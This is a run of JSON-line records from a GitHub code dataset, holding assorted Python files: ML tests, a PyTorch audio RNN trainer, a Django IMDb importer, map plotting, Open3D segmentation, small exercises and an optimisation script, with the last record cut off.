= A.QRDQN(dummy_env, config=config)\n\n buffer = ReplayBuffer()\n experiences = generate_dummy_experiences(dummy_env, batch_size)\n buffer = ReplayBuffer()\n buffer.append_all(experiences)\n qrdqn.train_offline(buffer, total_iterations=5)\n\n def test_compute_eval_action(self):\n dummy_env = E.DummyDiscreteImg()\n qrdqn = A.QRDQN(dummy_env)\n\n state = dummy_env.reset()\n state = np.float32(state)\n action = qrdqn.compute_eval_action(state)\n\n assert action.shape == (1, )\n\n def test_parameter_range(self):\n with pytest.raises(ValueError):\n A.QRDQNConfig(gamma=1.1)\n with pytest.raises(ValueError):\n A.QRDQNConfig(gamma=-0.1)\n with pytest.raises(ValueError):\n A.QRDQNConfig(batch_size=-1)\n with pytest.raises(ValueError):\n A.QRDQNConfig(replay_buffer_size=-1)\n with pytest.raises(ValueError):\n A.QRDQNConfig(learner_update_frequency=-1)\n with pytest.raises(ValueError):\n A.QRDQNConfig(max_explore_steps=-1)\n with pytest.raises(ValueError):\n A.QRDQNConfig(learning_rate=-1)\n with pytest.raises(ValueError):\n A.QRDQNConfig(initial_epsilon=-1)\n with pytest.raises(ValueError):\n A.QRDQNConfig(final_epsilon=-1)\n with pytest.raises(ValueError):\n A.QRDQNConfig(test_epsilon=-1)\n with pytest.raises(ValueError):\n A.QRDQNConfig(num_quantiles=-1)\n with pytest.raises(ValueError):\n A.QRDQNConfig(kappa=-1)\n\n def test_latest_iteration_state(self):\n \"\"\"Check that latest iteration state has the keys and values we\n expected.\"\"\"\n\n dummy_env = E.DummyDiscreteImg()\n qrdqn = A.QRDQN(dummy_env)\n\n qrdqn._quantile_dist_trainer_state = {'q_loss': 0.}\n\n latest_iteration_state = qrdqn.latest_iteration_state\n assert 'q_loss' in latest_iteration_state['scalar']\n assert latest_iteration_state['scalar']['q_loss'] == 0.\n\n\nif __name__ == \"__main__\":\n from testing_utils import generate_dummy_experiences\n pytest.main()\nelse:\n from ..testing_utils import generate_dummy_experiences\n","repo_name":"sony/nnabla-rl","sub_path":"tests/algorithms/test_qrdqn.py","file_name":"test_qrdqn.py","file_ext":"py","file_size_in_byte":8330,"program_lang":"python","lang":"en","doc_type":"code","stars":113,"dataset":"github-code","pt":"75"} +{"seq_id":"74004266482","text":"# 文件IO读写\n\ntry:\n f = open('io_test', 'r', encoding='UTF-8')\n io_test = f.read() # 还有readlines 返回一个list\nexcept IOError:\n print(\"IOError\")\nfinally:\n f.close()\n\nprint(io_test)\n\n# 通过with语句自动调用close方法\nwith open('io_test', 'r', encoding='UTF-8') as f:\n print(f.read())\n\nf = open('io_test', 'w', encoding='UTF-8')\nf.write(\"hello my friend\")\nf.close()\n\nwith open('io_test', 'w', encoding='UTF-8') as f:\n f.write(\"again agian\")","repo_name":"liyudongjames/Python_study","sub_path":"learning/Learning31.py","file_name":"Learning31.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18034348286","text":"import os\nimport sys\nfrom datetime import datetime\nfrom difflib import SequenceMatcher\nfrom os.path import abspath, dirname\n\nimport django\nfrom tqdm import tqdm\n\nproject_path = dirname(dirname(abspath(__file__)))\nsys.path.append(project_path)\nos.environ['DJANGO_SETTINGS_MODULE'] = 'filmezz.settings'\ndjango.setup()\n\nfrom imdb_data.models import Movie as ImdbMovie, TitleAlias, TitlePrincipals\n\nfrom core.models import Movie, MovieTranslation, Category\n\n\ndef get_value_or_empty(year):\n if year:\n return str(year)\n return ''\n\n\ndef get_matching_ids():\n imdb_movies = {imdb_movie[1].strip().lower() + get_value_or_empty(imdb_movie[2]): imdb_movie[0]\n for imdb_movie in ImdbMovie.objects.using('imdb').values_list('id', 'title', 'year')}\n movies = [(movie[0], movie[1].strip().lower(), movie[2], movie[3]) for movie in\n Movie.objects.values_list('id', 'title', 'translations__title', 'year')]\n match_pairs = []\n for movie in movies[:]:\n title = movie[1]\n try:\n # cut season nr from series (added in importers)\n title = title[:title.index('season')].strip()\n except ValueError:\n pass\n if movie[3]:\n title += movie[3]\n if title in imdb_movies:\n match_pairs.append((imdb_movies[title], movie[0]))\n # imdb_movies.pop(title)\n # movies.remove(movie)\n match_pairs = list(set(match_pairs))\n print('Matched pairs')\n print(len(match_pairs))\n\n # alias_movies = {imdb_movie[1].strip().lower(): imdb_movie[0] for imdb_movie in\n # TitleAlias.objects.using('imdb').values_list('title_id_id', 'title')}\n # for movie in movies[:]:\n # translation = movie[2]\n # if translation:\n # translation = translation.strip().lower()\n # else:\n # continue\n # if translation in alias_movies:\n # match_pairs.append((alias_movies[translation], movie[0]))\n # movies.remove(movie)\n # count += 1\n #\n # print(count)\n # for movie in tqdm(movies):\n # for name_key in alias_movies:\n # translation = movie[2]\n # if translation:\n # translation = translation.strip().lower()\n # else:\n # continue\n # if translation[:3] == name_key[:3] and SequenceMatcher(a=translation, b=name_key).ratio() > 0.9:\n # count += 1\n # match_pairs.append((alias_movies[name_key], movie[0]))\n # print(name_key)\n # print(translation)\n # break\n # print(count)\n\n return match_pairs\n\n\ndef supplement_db_data():\n matches = get_matching_ids()\n\n for match in tqdm(matches):\n movie = Movie.objects.get(id=match[1])\n imdb_movie = ImdbMovie.objects.using('imdb').get(id=match[0])\n if imdb_movie.rating:\n movie.imdb_score = imdb_movie.rating\n movie.duration = imdb_movie.duration\n if imdb_movie.year:\n movie.year = imdb_movie.year\n movie.save()\n if imdb_movie.genres:\n genres = imdb_movie.genres[:-1].lower().split(',')\n movie.categories.clear()\n for genre in genres:\n movie.categories.get_or_create(name=genre)\n\n aliases = TitleAlias.objects.using('imdb').filter(title_id_id=imdb_movie.id)\n if aliases:\n MovieTranslation.objects.filter(movie=movie).delete()\n translations = []\n for alias in aliases:\n translations.append(MovieTranslation(movie_id=movie.id, title=alias.title.strip(),\n language=alias.region))\n movie.translations.bulk_create(translations)\n\n principals = TitlePrincipals.objects.filter(movie=imdb_movie)\n if principals:\n for principal in principals:\n if principal.category == 'director':\n movie.directors.clear()\n break\n for principal in principals:\n if principal.category == 'actor' or principal.category == 'actress' or principal.category == 'self':\n movie.actors.clear()\n break\n for principal in principals:\n if principal.category == 'director':\n movie.directors.get_or_create(name=principal.name.name.strip())\n if principal.category == 'actor' or principal.category == 'actress' or principal.category == 'self':\n movie.actors.get_or_create(name=principal.name.name.strip())\n\n\nif __name__ == '__main__':\n t1 = datetime.now()\n supplement_db_data()\n t2 = datetime.now()\n total = t2 - t1\n print(\"Supplement finished in: %s\" % total)\n","repo_name":"sooserno20/filmezz","sub_path":"imdb_data/supplement_db_data.py","file_name":"supplement_db_data.py","file_ext":"py","file_size_in_byte":4808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7270832611","text":"import pandas as pd\r\nimport numpy as np\r\nimport gmplot\r\nfrom matplotlib import colors as mcolors\r\n\r\ndef draw_map(api_key, data, center, best_results, map_name):\r\n\r\n ### This function draws a google maps map of best volunteers allocation.\r\n ### Each volunteers group colored differntly with polylines representing the suggested points order per group.\r\n\r\n # @param api_key - String of google api key\r\n # @param data - Pandas DataFrame with columns of point's names, addresses, latitudes & longitudes\r\n # @param center - Dictionary with Center point name, address, latitude & longitude\r\n # @param best_results - Dictionary of the best volunteers allocation, with group numbers as Keys and lists of points names per group as Items\r\n # @param map_name - html file name for the map output\r\n # @retruns Series of groups colors per point in data\r\n\r\n\r\n gmap = gmplot.GoogleMapPlotter(data.Lat.mean(), data.Lng.mean(), 16, apikey=api_key)\r\n gmap.coloricon = \"http://www.googlemapsmarkers.com/v1/%s/\"\r\n\r\n # set colors for map points\r\n best_colors = ['blue', 'red', 'pink', 'green', 'purple', 'yellow', 'black', 'gray', 'white', 'brown']\r\n colors = best_colors + [c for c in list(mcolors.CSS4_COLORS.keys()) if c not in best_colors]\r\n colors = colors[:len(best_results['allocation']) + 1]\r\n\r\n names = data.Name.tolist()\r\n latitudes = data.Lat.tolist()\r\n longitudes = data.Lng.tolist()\r\n addresses = data.google_address.tolist()\r\n\r\n gmap.marker(center['Lat'], center['Lng'], color=colors[0], title=center['google_address'])\r\n\r\n data['color'] = np.nan\r\n\r\n for group, color in zip(best_results['allocation'], colors[1:]):\r\n group_names = best_results['allocation'][group][1:]\r\n for name in group_names:\r\n name_ix = names.index(name)\r\n name_lat, name_lng = latitudes[name_ix], longitudes[name_ix]\r\n\r\n gmap.marker(name_lat, name_lng, color=color,\r\n title=addresses[name_ix].split(',')[0])\r\n\r\n if group_names.index(name) == 0:\r\n gmap.polygon([center['Lat'], name_lat],\r\n [center['Lng'], name_lng], color=color)\r\n else:\r\n prev_name = group_names[group_names.index(name) - 1]\r\n prev_name_ix = names.index(prev_name)\r\n prev_name_lat, prev_name_lng = latitudes[prev_name_ix], longitudes[prev_name_ix]\r\n gmap.polygon([prev_name_lat, name_lat],\r\n [prev_name_lng, name_lng], color=color)\r\n\r\n data['color'] = np.where(data.chosen_group == group, color, data.color)\r\n\r\n gmap.draw(map_name)\r\n\r\n return data['color']\r\n","repo_name":"EyalBerger/Foodi","sub_path":"to_map.py","file_name":"to_map.py","file_ext":"py","file_size_in_byte":2689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4835107478","text":"\"\"\"\nhttp://www.open3d.org/docs/release/tutorial/Basic/pointcloud.html#Plane-segmentation\n\nOpen3D还包含使用RANSAC从点云中分割几何图元的支持。\n要在点云中找到具有最大支持的平面,我们可以使用segement_plane该方法具有三个参数:\n\ndistance_threshold: 定义一个点到一个估计平面的最大距离,该点可被视为一个惯常值;\nransac_n: 定义随机采样的点数以估计一个平面;\nnum_iterations:定义对随机平面进行采样和验证的频率。\n\n函数然后将平面返回为(a,b,c,d),这样对于平面上的每个点(x,y,z)都有ax + by + cz + d = 0。\n该功能进一步调整内部点的索引列表。\n\n\"\"\"\nimport open3d as o3d\n\npcd = o3d.io.read_point_cloud(\"../TestData/fragment.pcd\")\n# 分割平面\nplane_model, inliers = pcd.segment_plane(distance_threshold=0.01,\n ransac_n=3,\n num_iterations=1000)\n[a, b, c, d] = plane_model\nprint(f\"Plane equation: {a:.2f}x + {b:.2f}y + {c:.2f}z + {d:.2f} = 0\")\n\n# 根据索引列表提取点云\ninlier_cloud = pcd.select_by_index(inliers)\n# 给点云涂红色\ninlier_cloud.paint_uniform_color([1.0, 0, 0])\n# 根据索引列表,选出不属于inliers的点\noutlier_cloud = pcd.select_by_index(inliers, invert=True)\n# 绘制\no3d.visualization.draw_geometries([inlier_cloud, outlier_cloud])\n","repo_name":"sukai33/open3d-demo","sub_path":"chapter01/05-pointcloud_plane-segmentation.py","file_name":"05-pointcloud_plane-segmentation.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"zh","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"29356453530","text":"N = int(input())\nfor i in range(N):\n x = input()\n chk = 0\n for c in x:\n if c == '7':\n chk = 1\n break\n if chk:\n print(x)\n exit(0)\n\nprint(\"DOES NOT EXIST\")","repo_name":"prishagoel/HP-Codewars","sub_path":"CodeWars/Lucky_Number/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7248032171","text":"import unittest\nfrom unittest.mock import patch\n\nfrom tmc import points\nfrom tmc.utils import load_module, reload_module, get_stdout\nfrom functools import reduce\nfrom random import randint\n\nexercise = 'src.string_multiplied'\n\ndef format_tuple(d : tuple):\n return str(d).replace(\"'\",\"\")\n\n@points('2.string_multiplied')\nclass StringMultipliedTest(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n with patch('builtins.input', side_effect =['a', '1']):\n cls.module = load_module(exercise, 'en')\n\n def test_strings(self):\n values = [(\"hiya\",\"1\"),(\"abc\",4),(\"xyx\",7),(\"hello\",2),(\"test\",6)]\n for test_case in values:\n with patch('builtins.input', side_effect = test_case):\n try:\n reload_module(self.module)\n except:\n self.assertTrue(False, f\"Make sure that your program works correctly with the input {test_case}\")\n out = get_stdout()\n output = out.split(\"\\n\")\n corr = test_case[0] * int(test_case[1])\n self.assertTrue(len(out) > 0, \"Your program does not print out anything with the inputs {}\".format(test_case))\n self.assertTrue(len(output) == 1, f\"Instead of printing out only one row in addition to asking for the inputs from the user, your program's print out is now in {len(output)} rows.\")\n self.assertEqual(out.strip(), corr, f\"The print out is incorrect with the inputs {test_case}: your program's print out is\\n{out}\\nwhen correct print out is\\n{corr}\")\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"P4r1nc3/Python_Programming_MOOC_2023_I","sub_path":"part03/part03-08_string_multiplied/test/test_string_multiplied.py","file_name":"test_string_multiplied.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"75"} +{"seq_id":"17282278162","text":"from __future__ import print_function, division\nimport os\nimport torch\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision import transforms, utils\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n# Ignore warnings\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nplt.ion() # interactive mode\n\nBATCH_SIZE = 64\n\nclass BlizzardDataset(Dataset):\n \"\"\"Face Landmarks dataset.\"\"\"\n\n def __init__(self, csv_file, root_dir, transform=None):\n self.blizzard_frame = pd.read_csv(csv_file)\n self.root_dir = root_dir\n self.transform = transform\n\n def __len__(self):\n return 390400 #len(self.blizzard_frame)\n\n def __getitem__(self, idx):\n if torch.is_tensor(idx):\n idx = idx.tolist()\n\n blizzard = self.blizzard_frame.iloc[idx, :]\n blizzard = np.array([blizzard])\n blizzard = blizzard.astype('float').reshape(-1, 1)\n sample = {'blizzard': blizzard}\n return sample\n\ndef show_audio(blizzard):\n x = list(range(200))\n y = blizzard\n plt.plot(x,y)\n plt.show(block=True)\n\ncsv_filename = '/home/mariamma/rnn_vae/dataset/X_train_blizzard.csv'\nblizzard_dataset = BlizzardDataset(csv_file=csv_filename,\n root_dir=None)\n\n# fig = plt.figure()\n# for i in range(len(blizzard_dataset)):\n# sample = blizzard_dataset[i]\n\n# print(i, sample['blizzard'].shape)\n\n# ax = plt.subplot(1, 4, i + 1)\n# plt.tight_layout()\n# ax.set_title('Sample #{}'.format(i))\n# ax.axis('off')\n# show_audio(**sample)\n\n# if i == 3:\n# plt.show()\n# break\ntrain_dataloader = DataLoader(blizzard_dataset, batch_size=BATCH_SIZE,\n shuffle=False, num_workers=4)\n\n\n# Helper function to show a batch\ndef show_blizzard_batch(sample_batched):\n \"\"\"Show image with landmarks for a batch of samples.\"\"\"\n blizzard_batch = sample_batched['blizzard']\n batch_size = len(blizzard_batch)\n print()\n \n for i in range(batch_size):\n x = list(range(200))\n y = blizzard_batch[i, :]\n print(blizzard_batch.size())\n print(\"Data : \", y.reshape(1,-1))\n plt.plot(x,y)\n plt.title('Batch from dataloader')\n plt.show(block=True)\n\n\n# for i_batch, sample_batched in enumerate(train_dataloader):\n# print(i_batch, sample_batched['blizzard'].size())\n\n# # observe 4th batch and stop.\n# if i_batch == 3:\n# plt.figure()\n# show_blizzard_batch(sample_batched)\n# plt.axis('off')\n# plt.ioff()\n# plt.show(block=True)\n# break\n\n\n# Get cpu or gpu device for training.\ndevice = \"cuda:0\" if torch.cuda.is_available() else \"cpu\"\nprint(\"Using {} device\".format(device))\n\ndef Gaussian(y, m, sigma):\n \"\"\"\n Gaussian negative log-likelihood\n Parameters\n ----------\n y : TensorVariable\n mu : FullyConnected (Linear)\n sig : FullyConnected (Softplus)\n \"\"\"\n # nll = 0.5 * T.sum(T.sqr(y - mu) / sig**2 + 2 * T.log(sig) +\n # T.log(2 * np.pi), axis=-1)\n batch_size = BATCH_SIZE\n x = y.view(batch_size, 200)\n mu = m.view(batch_size, 200)\n sig = sigma.view(batch_size, 200)\n # print(\"X mean :: \", x.mean())\n # print(\"Mu mean :: \", mu.mean())\n # print(\"Sigma mean :: \", sig.mean())\n x_mu_diff = x.sub(mu)\n x_diff_pow = x_mu_diff.pow(2)\n # print(\"X mu diff pow :: \", x_diff_pow.mean())\n sig_pow = sig.pow(2).add(.000001)\n # print(\"sig_pow :: \", sig_pow.mean())\n xmy = x_diff_pow.true_divide(sig_pow)\n sig = sig.add(.000001)\n sig_log = torch.log(sig).mul(2)\n # print(\"Xmy :: \", xmy.size(), \" Xmy mean :: \", xmy.mean())\n # print(\"sig size :: \", sig_log.size(), \" sig mean :: \", sig_log.mean())\n K = xmy.add(sig_log)\n # print(\"K size :: \", K.size(), \" K mean :: \", K.mean())\n return K\n\n# Define model\nclass NeuralNetwork(nn.Module):\n def __init__(self):\n super(NeuralNetwork, self).__init__()\n \n self.flatten = nn.Flatten()\n self.linear_relu_stack = nn.Sequential(\n nn.Linear(200, 800),\n nn.ReLU(),\n nn.Linear(800, 800),\n nn.ReLU(),\n nn.Linear(800, 800),\n nn.ReLU(),\n nn.Linear(800, 800),\n nn.ReLU()\n )\n self.rnn = nn.LSTM(800, 4000)\n self.linear_theta_stack = nn.Sequential(\n nn.Linear(4000, 800),\n nn.ReLU(),\n nn.Linear(800, 800),\n nn.ReLU(),\n nn.Linear(800, 800),\n nn.ReLU(),\n nn.Linear(800, 800),\n nn.ReLU()\n )\n self.theta_mu = nn.Linear(800,200)\n self.theta_sig = nn.Sequential( \n # nn.Softplus(800,800),\n nn.Linear(800,200),\n nn.ReLU()\n )\n \n\n\n def forward(self, x):\n x = self.flatten(x)\n h0 = torch.randn(1, BATCH_SIZE, 4000, device=x.device)\n c0 = torch.randn(1, BATCH_SIZE, 4000, device=x.device)\n linear_output = self.linear_relu_stack(x)\n rnn_output, (hn, cn) = self.rnn(linear_output.view(-1, BATCH_SIZE, 800), (h0, c0))\n # print(\"hn :: \", hn.mean())\n # print(\"cn :: \", cn.mean())\n # print(\"rnn_output :: \", rnn_output.mean())\n theta_output = self.linear_theta_stack(rnn_output)\n theta_mu_output = self.theta_mu(theta_output)\n theta_sig_output = self.theta_sig(theta_output)\n # self.recon = Gaussian(x, theta_mu_output, theta_sig_output)\n # self.recon_term = torch.mean(recon)\n return theta_mu_output, theta_sig_output, rnn_output\n\nmodel = NeuralNetwork().to(device)\nprint(model)\n\n# loss_fn = nn.CrossEntropyLoss()\nloss_fn = Gaussian\noptimizer = torch.optim.Adam(model.parameters(), lr=.0001)\nloss_value = list()\n\ndef train(dataloader, model, loss_fn, optimizer):\n size = len(dataloader.dataset)\n print(\"Size of dataloader dataset :: \", size)\n for batch, (X ) in enumerate(dataloader):\n X = X['blizzard'].to(device)\n # print(\"X :: \", X.mean())\n\n # Compute prediction error\n mu, sigma, rnn_output = model(X.float())\n # print(\"Size of mu and sigma :: \", mu.mean(), sigma.mean())\n loss = loss_fn(X, mu, sigma)\n # print(\"Loss :: \", loss.mean())\n\n # Backpropagation\n optimizer.zero_grad()\n loss.mean().backward(retain_graph=True)\n optimizer.step()\n\n if batch % 100 == 0:\n print(batch, len(X))\n loss, current = loss.mean(), batch * len(X)\n print(f\"loss: {loss:>7f} [{current:>5d}/{size:>5d}]\") \n if batch % 1000 == 0: \n loss_value.append(loss) \n\nepochs = 5\n\nfor t in range(epochs):\n print(f\"Epoch {t+1}\\n-------------------------------\")\n train(train_dataloader, model, loss_fn, optimizer)\n # test(test_dataloader, model)\nprint(\"Done!\")\n\nmodel_path = '/home/mariamma/rnn_vae/code/rnn_model.pth'\ntorch.save(model, model_path)\nloss_np = np.array(loss_value)\nnp.savetxt(\"/home/mariamma/rnn_vae/code/loss.csv\", loss_np, delimiter=',')\n\n\n\ndef test(dataloader, model):\n size = len(dataloader.dataset)\n model.eval()\n test_loss, correct = 0, 0\n with torch.no_grad():\n for X, y in dataloader:\n X, y = X.to(device), y.to(device)\n pred = model(X)\n test_loss += loss_fn(pred, y).item()\n correct += (pred.argmax(1) == y).type(torch.float).sum().item()\n test_loss /= size\n correct /= size\n print(f\"Test Error: \\n Accuracy: {(100*correct):>0.1f}%, Avg loss: {test_loss:>8f} \\n\") ","repo_name":"mariamma/vrnn","sub_path":"rnn_gauss_gpu.py","file_name":"rnn_gauss_gpu.py","file_ext":"py","file_size_in_byte":7650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31484507001","text":"# Link For Problem: https://leetcode.com/problems/find-the-town-judge/\n\nclass Solution:\n\n def findJudge(self, n: int, trust: list[list[int]]) -> int:\n if len(trust) == 0 and n == 1:\n return 1\n\n if len(trust) == 0:\n return -1\n\n people: list[int] = [0]*(n + 1)\n\n for t in trust:\n people[t[0]] -= 1\n\n people[t[1]] += 1\n\n for p in range(len(people)):\n if people[p] == n-1:\n return p\n\n return -1\n\n\ns = Solution()\n\ntrust = [[1, 2]]\nn = 2\n\nprint(s.findJudge(n, trust))\n","repo_name":"anuragchris/Python-Data-Structures","sub_path":"Graph/FindTheTownJudge.py","file_name":"FindTheTownJudge.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71424338162","text":"# coding:utf8\r\nfrom naoqi import ALProxy\r\nimport math\r\nimport almath\r\nimport time\r\nimport logging\r\n\r\nIP = '172.16.55.80'\r\nPort = 9559\r\n\r\n# 步伐参数配置\r\ng_moveConfig1 = [[\"MaxStepX\", 0.04], [\"MaxStepY\", 0.13], [\"MaxStepTheta\", 0.4], [\"MaxStepFrequency\", 0.5],\r\n [\"StepHeight\", 0.0155], [\"TorsoWx\", 0.0], [\"TorsoWy\", 0.0]]\r\n\r\ng_moveConfig2 = [[\"MaxStepX\", 0.04], [\"MaxStepY\", 0.13], [\"MaxStepTheta\", 0.4], [\"MaxStepFrequency\", 0.65],\r\n [\"StepHeight\", 0.023], [\"TorsoWx\", 0.0], [\"TorsoWy\", 0.0]]\r\n\r\ng_moveConfig = [[\"MaxStepX\", 0.04], [\"MaxStepY\", 0.13], [\"MaxStepTheta\", 0.4], [\"MaxStepFrequency\", 0.6],\r\n [\"StepHeight\", 0.02], [\"TorsoWx\", 0.0], [\"TorsoWy\", 0.0]]\r\n# LandMark及ball参数\r\nlandmark = {\"size\": 0.09}\r\nball = {'name': 'RedBall', 'diameter': 0.04}\r\n\r\ng_landmarkDetection = ALProxy(\"ALLandMarkDetection\", IP, Port) # landMark检测模块\r\ng_memory = ALProxy(\"ALMemory\", IP, Port) # 内存管理模块\r\ng_tts = ALProxy(\"ALTextToSpeech\", IP, Port) # 说话模块\r\ng_motion = ALProxy(\"ALMotion\", IP, Port) # 移动模块\r\ng_posture = ALProxy(\"ALRobotPosture\", IP, Port) # 姿势模块\r\ng_camera = ALProxy(\"ALVideoDevice\", IP, Port) # 摄像头管理模块\r\ng_tracker = ALProxy(\"ALTracker\", IP, Port) # 追踪模块\r\n","repo_name":"zykkkk/pycharm","sub_path":"code/my_back/nao_init.py","file_name":"nao_init.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22120294196","text":"import math\r\nimport numpy as np\r\nimport random\r\n\r\ndef xinlist(lista, x):\r\n for y in lista:\r\n if ((x[0]-y[0])**2 + (x[1]-y[1])**2) < 1e-6:\r\n return True\r\n \r\n\r\ndef TS(f, x0, delta_x, N, eps, L, opseg):\r\n tabooList = []\r\n i = 0\r\n prevF = math.inf\r\n minx0 = x0\r\n miny0 = f(x0)\r\n while i < N and abs(prevF - f(x0)) >= eps:\r\n prevF = f(x0)\r\n novoX = (0, 0)\r\n novoF = math.inf\r\n for dx0 in [x0[0] - delta_x, x0[0], x0[0] + delta_x]:\r\n for dx1 in [x0[1] - delta_x, x0[1], x0[1] + delta_x]:\r\n if dx0 >= opseg[0] and dx0 <= opseg[1] and dx1 >= opseg[0] and dx1 <= opseg[1] and (dx0, dx1) != x0 and (dx0, dx1) not in tabooList and novoF > f((dx0, dx1)):\r\n novoX = (dx0, dx1)\r\n novoF = f((dx0, dx1))\r\n if novoF < miny0:\r\n miny0 = novoF\r\n minx0 = (dx0, dx1)\r\n if novoF < math.inf:\r\n x0 = novoX\r\n tabooList.append(x0)\r\n if len(tabooList) > L:\r\n tabooList.pop(0)\r\n i += 1\r\n x0 = novoX\r\n return minx0\r\n\r\n \r\ndef LS(f, x0, delta_x, N, eps):\r\n i = 0\r\n prevF = math.inf\r\n while i < N and abs(prevF - f(x0)) > eps:\r\n prevF = f(x0)\r\n novoX = (x0[0] + delta_x, x0[1])\r\n for dx0 in [x0[0] - delta_x, x0[0], x0[0] + delta_x]:\r\n for dx1 in [x0[1] - delta_x, x0[1], x0[1] + delta_x]:\r\n if f(novoX) > f((dx0, dx1)):\r\n novoX = (dx0, dx1)\r\n i += 1\r\n x0 = novoX\r\n return x0\r\ndef ILS(f, x0, delta_x, N, eps, M):\r\n omega = []\r\n def AzuriranjeMemorije(x):\r\n omega.append(x)\r\n return omega\r\n def Perturbacija():\r\n a, b = -1, 1\r\n x = (random.uniform(a, b), random.uniform(a, b))\r\n while x in omega:\r\n x = (random.uniform(a, b), random.uniform(a, b))\r\n return x\r\n xz = LS(f, x0, delta_x, N, eps)\r\n AzuriranjeMemorije(xz)\r\n for iter in range(1, M):\r\n x = Perturbacija()\r\n xz = LS(f, x, delta_x, N, eps)\r\n AzuriranjeMemorije(xz)\r\n AzuriranjeMemorije(x)\r\n xmin = omega[0]\r\n for x in omega:\r\n if f(x) < f(xmin):\r\n xmin = x\r\n return xmin\r\n\r\nDTL = 10000\r\n\r\nimport matplotlib.pyplot as plt\r\nfrom mpl_toolkits import mplot3d\r\n\r\ndef f(X):\r\n return (X[0]-3)**2 + (X[1]+1)**2\r\nx1 = np.linspace(-5, 5, 100)\r\nx2 = np.linspace(-5, 5, 100)\r\nX1, X2 = np.meshgrid(x1, x2)\r\nY = f([X1, X2])\r\nfig = plt.figure()\r\nax = fig.add_subplot(2,2,1,projection='3d')\r\nax.contour(X1, X2, Y, 50, cmap='binary')\r\nxTS = TS(f, (1, 1), 0.1, 5000, 0, DTL, [-5, 5])\r\nxILS = ILS(f, (1, 1), 0.1, 1000, 0, 5)\r\nax.scatter(xTS[0], xTS[1], f(xTS), color='blue', marker='o')\r\nax.scatter(xILS[0], xILS[1], f(xILS), color='green', marker='x')\r\nax.set_xlabel('$x_1$')\r\nax.set_ylabel('$x_2$')\r\nax.set_zlabel('$f(x_1,x_2)$');\r\nax.set_title('$f(x_1,x_2) = (x_1-3)^2 + (x_2+1)^2$')\r\n\r\ndef f(X):\r\n return (1-X[0])**2 + 100*(X[1] - X[0]**2)**2\r\nx1 = np.linspace(-5, 5, 100)\r\nx2 = np.linspace(-5, 5, 100)\r\nX1, X2 = np.meshgrid(x1, x2)\r\nY = f([X1, X2])\r\nax = fig.add_subplot(2,2,2,projection='3d')\r\nax.contour(X1, X2, Y, 50, cmap='binary')\r\nxTS = TS(f, (1, 1), 0.1, 5000, 0, DTL, [-5, 5])\r\nxILS = ILS(f, (1, 1), 0.1, 1000, 0, 5)\r\nax.scatter(xTS[0], xTS[1], f(xTS), color='blue', marker='o')\r\nax.scatter(xILS[0], xILS[1], f(xILS), color='green', marker='x')\r\nax.set_xlabel('$x_1$')\r\nax.set_ylabel('$x_2$')\r\nax.set_zlabel('$f(x_1,x_2)$');\r\nax.set_title('$f(x_1,x_2) = (1-x_1)^2+100(x_2-x_1^2)^2$')\r\n\r\ndef f(x):\r\n return 20 + (x[0]**2 - 10*np.cos(2*math.pi*x[0])) + (x[1]**2 - 10*np.cos(2*math.pi*x[1]))\r\nx1 = np.linspace(-5, 5, 100)\r\nx2 = np.linspace(-5, 5, 100)\r\nX1, X2 = np.meshgrid(x1, x2)\r\nY = f([X1, X2])\r\nax = fig.add_subplot(2,2,3,projection='3d')\r\nax.contour(X1, X2, Y, 50, cmap='binary')\r\nxTS = TS(f, (3, 3), 0.1, 1000, 0, 100, [-6, 6])\r\nxILS = ILS(f, (5, 5), 0.1, 1000, 0, 5)\r\nax.scatter(xTS[0], xTS[1], f(xTS), color='blue', marker='o')\r\nax.scatter(xILS[0], xILS[1], f(xILS), color='green', marker='x')\r\nax.set_xlabel('$x_1$')\r\nax.set_ylabel('$x_2$')\r\nax.set_zlabel('$f(x_1,x_2)$');\r\nax.set_title('$f(x_1,x_2) = 20 + (x_1^2 - 10cos(2\\pi x_1) + (x_2^2 - 10cos(2\\pi x_2)$')\r\n\r\ndef f(x):\r\n return -abs(np.sin(x[0]) * np.cos(x[1]) * np.exp(abs(1 - np.sqrt(x[0]**2 + x[1]**2)/math.pi)))\r\nx1 = np.linspace(-11, 11, 100)\r\nx2 = np.linspace(-11, 11, 100)\r\nX1, X2 = np.meshgrid(x1, x2)\r\nY = f([X1, X2])\r\nax = fig.add_subplot(2,2,4,projection='3d')\r\nax.contour(X1, X2, Y, 50, cmap='binary')\r\nxTS = TS(f, (0, 0), 0.1, 30000, 0, 1000, [-11, 11])\r\nxILS = ILS(f, (1, 1), 0.1, 1000, 0, 5)\r\nax.scatter(xTS[0], xTS[1], f(xTS), color='blue', marker='o')\r\nax.scatter(xILS[0], xILS[1], f(xILS), color='green', marker='x')\r\nax.set_xlabel('$x_1$')\r\nax.set_ylabel('$x_2$')\r\nax.set_zlabel('$f(x_1,x_2)$');\r\nax.set_title('$f(x_1,x_2) = -|\\sin(x_1)|\\cos(x_2)e^{|1 - \\sqrt{x_1^2+x_2^2}/\\pi|}$')\r\n\r\nplt.show()","repo_name":"MasovicHaris/etf-alles","sub_path":"VII 